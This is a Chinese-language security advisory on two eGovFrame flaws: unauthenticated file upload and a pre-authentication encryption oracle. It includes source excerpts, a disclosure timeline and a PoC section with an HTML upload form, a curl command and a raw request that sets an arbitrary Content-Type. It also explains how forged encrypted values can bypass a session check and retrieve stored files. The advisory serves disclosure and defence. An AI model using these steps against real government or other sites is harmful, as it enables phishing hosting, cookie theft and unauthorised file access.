漏洞公告信息
标题:Egovframe中的2个漏洞
公告链接:https://pierrekim.github.io/advisories/2025-egovframe.txt
博客链接:https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html
发布日期:2025-11-20
联系厂商:KISA/KrCERT
发布模式:已公开
CVE编号:CVE-2025-34336, CVE-2025-34337
产品描述
eGovFrame,即电子政府标准框架,是韩国公共部门IT项目的平台特定标准化开发框架。它由大韩民国政府开发,全世界每个人都可以使用。
来自 https://www.egovframe.go.kr/eng/sub.do?menuNo=2
Egovframe是一个主要应用于韩国政府网站的Java框架。
漏洞概述
受影响版本:当前存在的所有版本。
漏洞概述如下:
- CVE-2025-34336 - 未授权文件上传漏洞
- CVE-2025-34337 - 认证前加密Oracle
其他说明:
这些漏洞是在2023年3月对egovframe进行了简短的安全评估(2-3小时)后发现的,并于2023年4月通过韩国网络安全公司POC Security(作为可信第三方)向KrCERT报告。
由于之前直接向KrCERT报告漏洞时有过不良经历,我选择了一家声誉良好的韩国网络安全公司POC Security作为第三方。最初的公告于2023年4月在Zer0con会议上交给了POC Security。
2023年8月,KISA确认这些漏洞可以被利用。2023年10月,KISA确认漏洞已修复。2025年9月,我确认这些漏洞并未被正确修复。
这些漏洞允许未经身份验证的远程攻击者向任何基于广泛用于韩国政府网站的"egovframework"的网站上传任意文件。
此外,该程序似乎没有被CVE标识符跟踪。而是使用了KVE标识符:
KVE代表韩国漏洞与暴露,是韩国用于编目和跟踪安全漏洞的系统。与CVE和CNNVD相反,尚不清楚KVE条目是否公开。
通过分析源代码并搜索"KISA"(管理KrCERT的机构),我发现了大约260处由KISA修复的漏洞的提及。这些漏洞似乎在源代码之外没有被公开跟踪(我只在一个宣布新版本的PDF文件中找到了三个KVE-2025-XXXX条目)。
我们可以通过搜索包含"KISA"和"YYYY-MM-DD"的注释来列出KISA检测和修复的漏洞。不幸的是,报告过的漏洞并不在其中。
例如:https://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/java/egovframework/com/utl/sys/pxy/web/EgovProxySvcController.java#L176.
我们还注意到,所有版本更新日志都表明某些漏洞已被修复,但没有提供任何信息:https://github.com/eGovFramework/egovframe-common-components/releases。
由于漏洞跟踪相当困难,从风险管理的角度来看,使用此解决方案似乎是一个值得怀疑的选择。
积极的一面是,这些结果意味着有很大的改进空间。
影响
未经身份验证的远程攻击者可以向任何基于egovframework的网站上传任意文件。由于在4.1.2版本之前内容类型可以由攻击者控制,因此可以在远程网站上托管任何类型的内容,例如网络钓鱼网页或窃取Cookie的JavaScript网页。从版本4.1.2开始,可以下载以正确内容类型上传的任何图像。上传的任何非图像文件都将以application/octet-stream内容类型提供(内容类型不再由攻击者控制)。
然后,恶意文件将通过无需身份验证即可访问的特定API在目标网站上可用。
可以利用加密Oracle创建有效且自定义的加密变量。这些恶意的加密字符串随后将被完全信任,并可用于滥用内部服务。
建议
不要将基于Egovframe的网站暴露在互联网上。
未修复的漏洞
Vulncheck在2025年11月分配了以下CVE:
- CVE-2025-34336 - eGovFramework <= 4.3.1 通过Web编辑器图像上传端点实现未授权文件上传
- CVE-2025-34337 - eGovFramework <= 4.3.1 通过Web编辑器图像上传端点实现未授权加密Oracle
KISA/KrCERT分配了以下KVE:
- KVE-2023-5280 Egovframework中的未授权文件上传
- KVE-2023-5281 加密Oracle用于构造自定义有效加密变量
解决方案识别
对于本公告,截止本安全公告发布之日的最新版本通过官方git仓库获取:https://github.com/eGovFramework/egovframe-common-components。
最新提交为:
commit 7030600a8d959fbdb09787cd346be9ccf2c2dc1c (HEAD -> main, origin/main, origin/HEAD)
Merge: e10475cc b354bbb7
Author: eGovFrameSupport <egovframesupport () gmail com>
Date: Wed Sep 24 14:49:27 2025 +0900
自2023年3月以来,源代码发生了一些变化,包括在我报告后尝试错误地修复其中一个漏洞——尚不清楚这是否是漏洞碰撞(源代码中另有他人被归功于此漏洞)。
详情 - 未授权文件上传漏洞
攻击者可以在使用egov框架开发的网站上无需身份验证上传任意文件。
易受攻击的组件 egovframe-common-components 被egovframe框架使用。
/utl/wed/insertImage.do 和 /utl/wed/insertImageCk.do POST API定义在 egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 文件中,如下所示,没有实现身份验证:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
60 private final String extWhiteList = EgovProperties.getProperty("Globals.fileDownload.Extensions");
[...]
76 /**
77 * 图片 Upload页 显示.
78 *
79 * @param model
80 * @return
81 * @throws Exception
82 */
83 @RequestMapping(value="/utl/wed/insertImage.do", method=RequestMethod.GET)
84 public String goInsertImage(Model model) throws Exception {
85
86 return "egovframework/com/utl/wed/EgovInsertImage";
87 }
88
89
90 /**
91 * 图片 Upload 执行.
92 *
93 * @param request
94 * @param model
95 * @return
96 * @throws Exception
97 */
98 @RequestMapping(value="/utl/wed/insertImage.do", method=RequestMethod.POST)
99 public String imageUpload(MultipartHttpServletRequest request, Model model) throws Exception {
100
101 uploadImageFiles(request, model);
102 return "egovframework/com/utl/wed/EgovInsertImage";
103 }
104
105 /**
106 * 图片 Upload(CK编辑器) 执行.
107 *
108 * @param ckEditorFuncNum
109 * @param mRequest
110 * @param response
111 * @param model
112 * @return
113 * @throws Exception
114 */
115 @RequestMapping(value="/utl/wed/insertImageCk.do", method=RequestMethod.POST)
116 public String imageUploadCk(@RequestParam(value="CKEditorFuncNum", required=false) String ckEditorFuncNum, MultipartHttpServletRequest mRequest, HttpServletResponse response, Model model) throws Exception {
117 // Spring multipartResolver ?commons-fileupload?
118 //List<EgovFormBasedFileVo> list = EgovFormBasedFileUtil.uploadFiles(request, uploadDir, maxFileSize);
119 model.addAttribute("ckEditorFuncNum", ckEditorFuncNum);
120 uploadImageFiles(mRequest, model);
121 return "egovframework/com/utl/wed/EgovUploadImageComplete";
122 }
|
这些API最终会调用第129行定义的 uploadImageFiles() 方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
124 /**
125 * @param mRequest
126 * @param model
127 * @throws Exception
128 */
129 private void uploadImageFiles(MultipartHttpServletRequest mRequest, Model model) throws Exception {
130
131 try {
132 List<EgovFormBasedFileVo> list = EgovFileUploadUtil.uploadFilesExt(mRequest, uploadDir, maxFileSize, extWhiteList);
133 if (list.size() > 0) {
134 EgovFormBasedFileVo vo = list.get(0); // 第一 项目
135
136 String url = mRequest.getContextPath()
137 + "/utl/web/imageSrc.do?"
138 + "path=" + this.encrypt(vo.getServerSubPath())
139 + "&physical=" + this.encrypt(vo.getPhysicalName())
140 + "&contentType=" + this.encrypt(vo.getContentType());
141
142 model.addAttribute("url", url);
143 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
144 }
145 } catch (SecurityException e) {
146 model.addAttribute("url", "");
147 model.addAttribute("msg",egovMessageSource.getMessage("errors.file.extension"));
148 } catch (Exception e) {
149 LOGGER.error(e.getMessage());
150 model.addAttribute("url", "");
151 model.addAttribute("msg",egovMessageSource.getMessage("errors.file.transfer"));
152 }
153 }
|
uploadFilesExt() 方法在 egovframe-common-components/src/main/java/egovframework/com/utl/fcc/service/EgovFileUploadUtil.java 中实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
113 public static List<EgovFormBasedFileVo> uploadFilesExt(MultipartHttpServletRequest mptRequest, String where, long maxFileSize, String extensionWhiteList) throws Exception {
114 List<EgovFormBasedFileVo> list = new ArrayList<EgovFormBasedFileVo>();
[...]
115
116 if (mptRequest != null) {
117 Iterator<?> fileIter = mptRequest.getFileNames();
118
119 while (fileIter.hasNext()) {
120 MultipartFile mFile = mptRequest.getFile((String)fileIter.next());
[...]
127 EgovFormBasedFileVo vo = new EgovFormBasedFileVo();
128
129 String tmp = mFile.getOriginalFilename();
[...] // 验证扩展名:
138 if (tmp.lastIndexOf(".") > 0) {
139 ext = getFileExtension(tmp).toLowerCase();
140 } else {
141 throw new SecurityException("Unacceptable file extension."); // ??
142 }
143 if (extensionWhiteList.indexOf(ext) < 0) {
144 throw new SecurityException("Unacceptable file extension."); // ??
145 }
[...] // 文件存储在文件系统中:
147 vo.setFileName(tmp);
148 vo.setContentType(mFile.getContentType());
149 vo.setServerSubPath(getTodayString());
150 vo.setPhysicalName(getPhysicalFileName() + "." + ext);
151 vo.setSize(mFile.getSize());
152
153 if (tmp.lastIndexOf(".") >= 0) {
154 vo.setPhysicalName(vo.getPhysicalName()); // 2012.11 KISA 补丁??
155 }
156
157 if (mFile.getSize() > 0) {
158 InputStream is = null;
159
160 try {
161 is = mFile.getInputStream();
162 String fullPath = where + SEPERATOR + vo.getServerSubPath() + SEPERATOR + vo.getPhysicalName() + "_upfile";
163 saveFile(is, new File(EgovWebUtil.filePathBlackList( fullPath )));
164 } finally {
165 if (is != null) {
166 is.close();
167 }
168 }
169 list.add(vo);
170 }
171 }
172 }
173 }
174
175 return list;
176 }
|
第163行的 saveFile() 方法将简单地使用 FileCopyUtils.copy() 将文件保存到磁盘。
最终,uploadImageFiles() 方法会将任何上传的文件存储在文件系统中,文件名部分可控(由UUID和特定扩展名组成),但实际上,攻击者可以控制以下值:
- 内容;
- “公开"的文件名,与文件系统中使用的文件名不同;
- 检索文件时显示给远程客户端的Content-Type。
我们不在乎文件系统中的真实文件名,因为我们将使用 /utl/web/imageSrc.do 来检索上传的内容。
此外,配置文件中只允许特定的扩展名。这些限制定义在https://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/resources/egovframework/egovProps/globals.properties#L168。
无论如何,由于攻击者能够控制最终的Content-type,任何文件都可以被上传/下载(例如,扩展名为.jpg的文件包含HTML代码,当从互联网检索时将作为HTML文件返回)。
egovframe-common-components/src/main/resources/egovframework/egovProps/globals.properties 的内容:
171 Globals.fileDownload.Extensions = .gif.jpg.jpeg.png
上传完成后,会显示一个URL,允许检索上传的文件。此URL格式为 /utl/web/imageSrc.do?path=X&physical=X&contentType=X(第136至142行):
egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容说明了此URL的生成方式:
1
2
3
4
5
6
7
8
|
136 String url = mRequest.getContextPath()
137 + "/utl/web/imageSrc.do?"
138 + "path=" + this.encrypt(vo.getServerSubPath())
139 + "&physical=" + this.encrypt(vo.getPhysicalName())
140 + "&contentType=" + this.encrypt(vo.getContentType());
141
142 model.addAttribute("url", url);
143 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
|
由于变量已被加密,可能遵循了KISA在2017年和2018年进行的安全评估,该文件无法直接访问。
通过加密变量,只要攻击者不知道密钥(并且密钥已正确设置),就不可能利用后续的任意文件读取(第165至168行)在 /utl/web/imageSrc.do API中:
egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
162 @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163 public void download(HttpServletRequest request, HttpServletResponse response) throws Exception {
164 //2017.12.12 - 加密 变量 存储 提供 方案
165 //KISA 补丁?? (2018-10-29, ???)
166 String subPath = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path")));
167 String physical = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical")));
168 String mimeType = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType")));
169
170 if (subPath.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
171 if (physical.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
172
173 String ext = "";
174 if ( physical.lastIndexOf(".") > 0 )
175 ext = physical.substring(physical.lastIndexOf(".") + 1,physical.length()).toLowerCase();
176 if ( ext == null ) throw new FileNotFoundException();
177
178 if ( extWhiteList.indexOf(ext) >= 0 )
179 EgovFormBasedFileUtil.viewFile(response, uploadDir, subPath, physical, mimeType);
180 else
181 throw new FileNotFoundException();
182 }
|
/utl/web/imageSrc.do API允许使用上传过程结束时返回的以下3个加密值检索上传的文件:
- path;
- physical;
- contentType.
通过访问包含这3个加密值的显示URL,我们可以检索上传的文档。
关于反射的 Content-Type,值得注意的是,2023年6月在 viewFile() 方法中添加了保护措施。
尚不清楚这是否是修复上传漏洞的尝试(通常治标不治本——你仍然可以上传任何你想要的东西)。实施了一个白名单,只允许特定的MIME类型。因此,除了 image/gif、image/jpg、image/jpeg 和 image/png 之外的任何内容都将显示为 application/octet-stream:
更新日志是:
* 2023.06.27 Kim Hye-jun NSR 安全措施 (CKEditor 图像查看功能中的脚本执行漏洞)
我的初步分析实际上是在2023年3月进行的,早于此次提交,我认为这是修复漏洞的错误尝试(因为初步分析已交给POC Security,并于2023年4月与KISA共享)。
当时,没有实现以下mimeType验证:
https://github.com/eGovFramework/egovframe-common-components/blame/e7b8d0df75664ce71781720801fa1ae2d7302a58/src/main/java/egovframework/com/utl/fcc/service/EgovFormBasedFileUtil.java#L277:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
218 public static void viewFile(HttpServletResponse response, String where, String serverSubPath, String physicalName, String mimeTypeParam) throws Exception {
219 String mimeType = mimeTypeParam;
220 String downFileName = where + SEPERATOR + serverSubPath + SEPERATOR + physicalName + "_upfile";
[...]
239 boolean contentTypeFlag = false;
240 if (mimeType != null) {
241 Map<String, String> contentTypeWL = getContentTypeWL();
242 if (contentTypeWL != null) {
243 for (String ext : contentTypeWL.keySet()) {
244 String matchMimeType = contentTypeWL.get(ext);
245 if (matchMimeType.equals(mimeType)) {
// 如果在哈希表中找到提供的mimeType(第262行),则将contentTypeFlag设置为true
246 response.setContentType(matchMimeType);
247 contentTypeFlag = true;
248 break;
249 }
250 }
251 }
252 }
// 如果contentTypeFlag仍为false,则使用application/octet-stream
253 if (!contentTypeFlag) {
254 response.setContentType("application/octet-stream;");
255 }
256
257 response.setHeader("Content-Disposition", "filename=image;");
258
259 FileCopyUtils.copy(new FileInputStream(file), response.getOutputStream());
260 }
261
262 public static Map<String, String> getContentTypeWL() {
263 Map<String, String> contentTypeWL = new HashMap<>();
264
265 contentTypeWL.put("gif", "image/gif");
266 contentTypeWL.put("jpg", "image/jpg");
267 contentTypeWL.put("jpeg", "image/jpeg");
268 contentTypeWL.put("png", "image/png");
269
270 return contentTypeWL;
271 }
272 }
|
然而,此修改并未修复根本原因(文件上传),仍然可以上传任何文件并下载它们(最终Content-Type为 application/octet-stream)。
PoC:
附上漏洞利用代码。只需将192.168.0.1更改为目标URL,访问此网页并上传任意文件:
1
2
3
4
5
6
7
8
9
10
11
12
|
<html>
<head>
</head>
<body>
<form action="http://192.168.0.1/utl/wed/insertImageCk.do"; method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
|
API将返回文件的可访问路径,可直接在浏览器中使用 /utl/web/imageSrc.do 访问。
也可以使用Curl,但需要代理(例如Burp Suite)来实时编辑 Content-Type(如果上传.txt文件,Content-Type将设置为text/plain;上传.jpg文件则为image/jpeg;上传.html文件则为text/html)。
kali% curl -kv -F "file=@1.txt; filename=1.txt" http://192.168.0.1/utl/wed/insertImageCk.do
Burp请求示例:
POST /utl/wed/insertImageCk.do HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------26979662282534656852357513795
Content-Length: 345
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------26979662282534656852357513795
Content-Disposition: form-data; name="file"; filename="1.png" <- 必须包含允许的扩展名的文件名
Content-Type: text/html <--------------------------------------- 将使用的内容类型
11111111111 <--------------------------------------------------- 文件内容,实际上与之前的扩展名无关
-----------------------------26979662282534656852357513795
Content-Disposition: form-data; name="submit"
Submit
-----------------------------26979662282534656852357513795--
攻击者可以上传任何文档,并控制使用API /utl/web/imageSrc.do 检索文件时将使用的内容类型。
详情 - 认证前加密Oracle
先前的上传表单可以用作加密Oracle。该表单将乐于返回攻击者定义的明文的加密值。
这些加密变量随后将被应用程序完全信任。
在第139和140行,可以通过使用 /utl/wed/insertImage.do 和 /utl/wed/insertImageCk.do API(调用 uploadImageFiles() 方法)在上传表单中发送自定义的Content-type或自定义文件名,利用此加密Oracle接收任何由攻击者控制的文件名和内容类型的加密字符串:
egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java 的内容:
1
2
3
4
5
6
7
|
137 + "/utl/web/imageSrc.do?"
138 + "path=" + this.encrypt(vo.getServerSubPath())
139 + "&physical=" + this.encrypt(vo.getPhysicalName())
140 + "&contentType=" + this.encrypt(vo.getContentType());
141
142 model.addAttribute("url", url);
143 model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
|
攻击者可以发送恶意的Content-type或文件名变量:这些字符串将使用服务器端定义的密钥通过 encrypt() 方法进行加密。
提交上传表单后,网页上显示的URL将包含编码后的 contentType 和 Filename。
然后,攻击者可以使用加密的恶意字符串来滥用内部服务。
例如,/utl/web/imageSrc.do API依赖加密数据来读取文件系统中的文件:攻击者可以使用加密的恶意字符串(例如 subPath、physical 和 mimeType 变量)与 /utl/web/imageSrc.do API,这些变量将被解密,对应于攻击者控制的特定字符串(第166至188行):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
162 @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163 public void download(HttpServletRequest request, HttpServletResponse response) throws Exception {
164 //2017.12.12 - ??
165 //KISA ?? (2018-10-29, ???
166 String subPath = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path"))); <---------------------- 由攻击者控制
167 String physical = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical"))); <----------------- 由攻击者控制
168 String mimeType = this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType"))); <-------------- 由攻击者控制
169
170 if (subPath.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
171 if (physical.indexOf("..") >= 0 ) throw new Exception("Security Exception - illegal url called.");
172
173 String ext = "";
174 if ( physical.lastIndexOf(".") > 0 )
175 ext = physical.substring(physical.lastIndexOf(".") + 1,physical.length()).toLowerCase();
176 if ( ext == null ) throw new FileNotFoundException();
177
178 if ( extWhiteList.indexOf(ext) >= 0 )
179 EgovFormBasedFileUtil.viewFile(response, uploadDir, subPath, physical, mimeType);
180 else
181 throw new FileNotFoundException();
182 }
|
另一个例子是定义在 egovframe-common-components/src/main/java/egovframework/com/cmm/web/EgovImageProcessController.java 中的 /cmm/fms/getImage.do API,它将根据攻击者提供的加密变量返回任何存储的文件。
GET 请求中获得的 atchFileId 参数在第83行被解密,然后:
decodedSessionId 在 | 字符前获取;
decodedFileId 在 | 字符后获取。
第94行进行了验证,检查解密的 decodedSessionId 是否与HTTP头中找到的当前 SessionId 相同。实际上,此 SessionId 在HTTP请求中可用(JSESSIONID=value),因此可以通过在上传表单上加密此值并恢复它来绕过此验证。
攻击者也可以在HTTP请求中省略 JSESSIONID cookie,并为 decodedSessionId 的解码值传递一个空字符串。
然后攻击者可以在无需身份验证的情况下根据 decodedFileId 值(例如FILE_000000000000001)恢复任何文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
75 @RequestMapping("/cmm/fms/getImage.do")
76 public void getImageInf(SessionVO sessionVO, ModelMap model, @RequestParam Map<String, Object> commandMap,
77 HttpServletRequest request, HttpServletResponse response) throws Exception {
78
79 // 解密 FileId (2022.12.06 )
80 // 加密方式
81 String param_atchFileId = (String) commandMap.get("atchFileId");
82 param_atchFileId = param_atchFileId.replaceAll(" ", "+");
83 byte[] decodedBytes = Base64.getDecoder().decode(param_atchFileId);
84 String decodedString = cryptoService.decrypt(new String(decodedBytes));
85 String decodedSessionId = StringUtils.substringBefore(decodedString, "|");
86 String decodedFileId = StringUtils.substringAfter(decodedString, "|");
87
88 String fileSn = (String) commandMap.get("fileSn");
89
90 String sessionId = request.getSession().getId();
91
92 boolean isSameSessionId = StringUtils.equals(decodedSessionId, sessionId);
93
94 if (!isSameSessionId) {
95 throw new Exception();
96 }
97
98 FileVO vo = new FileVO();
99
100 vo.setAtchFileId(decodedFileId);
101 vo.setFileSn(fileSn);
102
103 // ------------------------------------------------------------
104 // fileSn为空时
105 // ------------------------------------------------------------
106 if (fileSn == null || fileSn.equals("")) {
107 int newMaxFileSN = fileService.getMaxFileSN(vo);
108 vo.setFileSn(Integer.toString(newMaxFileSN - 1));
109 }
110 // ------------------------------------------------------------
111
112 FileVO fvo = fileService.selectFileInf(vo);
113
114 // String fileLoaction = fvo.getFileStreCours() + fvo.getStreFileNm();
115
116 String fileStreCours = EgovWebUtil.filePathBlackList(fvo.getFileStreCours());
117 String streFileNm = EgovWebUtil.filePathBlackList(fvo.getStreFileNm());
118 File file = new File(fileStreCours, streFileNm);
119
120 ByteArrayOutputStream bStream = null;
121
122 try (FileInputStream fis = new FileInputStream(file); BufferedInputStream in = new BufferedInputStream(fis);) {
123 bStream = new ByteArrayOutputStream();
124
125 FileCopyUtils.copy(in, bStream);
126
127 String type = "";
128
129 if (fvo.getFileExtsn() != null && !"".equals(fvo.getFileExtsn())) {
130 if ("jpg".equals(fvo.getFileExtsn().toLowerCase())) {
131 type = "image/jpeg";
132 } else {
133 type = "image/" + fvo.getFileExtsn().toLowerCase();
134 }
135 /* type = "image/" + fvo.getFileExtsn().toLowerCase(); */
136
137 } else {
138 LOGGER.debug("Image fileType is null.");
139 }
140
141 response.setHeader("Content-Type", EgovWebUtil.removeCRLF(type));
142 response.setContentLength(bStream.size());
143
144 bStream.writeTo(response.getOutputStream());
145
146 response.getOutputStream().flush();
147 response.getOutputStream().close();
148
149 } finally {
150 EgovResourceCloseHelper.close(bStream);
151 }
152 }
|
报告时间线
- 2023年3月:对egovframe进行了安全评估。
- 2023年4月:在Zer0con会议上将公告交给了POC Security。
- 2023年8月:KISA确认了漏洞的可利用性。
- 2023年10月:KrCERT向POC Security确认漏洞已修复。
- 2025年9月:我联系了POC Security,报告我认为漏洞未被正确修复,并请他们检查与KrCERT之前的邮件。
- 2025年9月:POC Security确认,在之前的交流中,KrCERT已表示所有漏洞均已修复。
- 2025年11月19日:Vulncheck分配了CVE。
- 2025年11月20日:发布安全公告。
致谢
这些漏洞由Pierre Barre(又名Pierre Kim)发现 (@PierreKimSec)。
参考链接
https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html
https://pierrekim.github.io/advisories/2025-egovframe.txt
免责声明
本公告根据知识共享署名-非商业性使用-相同方式共享 3.0 许可协议授权:http://creativecommons.org/licenses/by-nc-sa/3.0/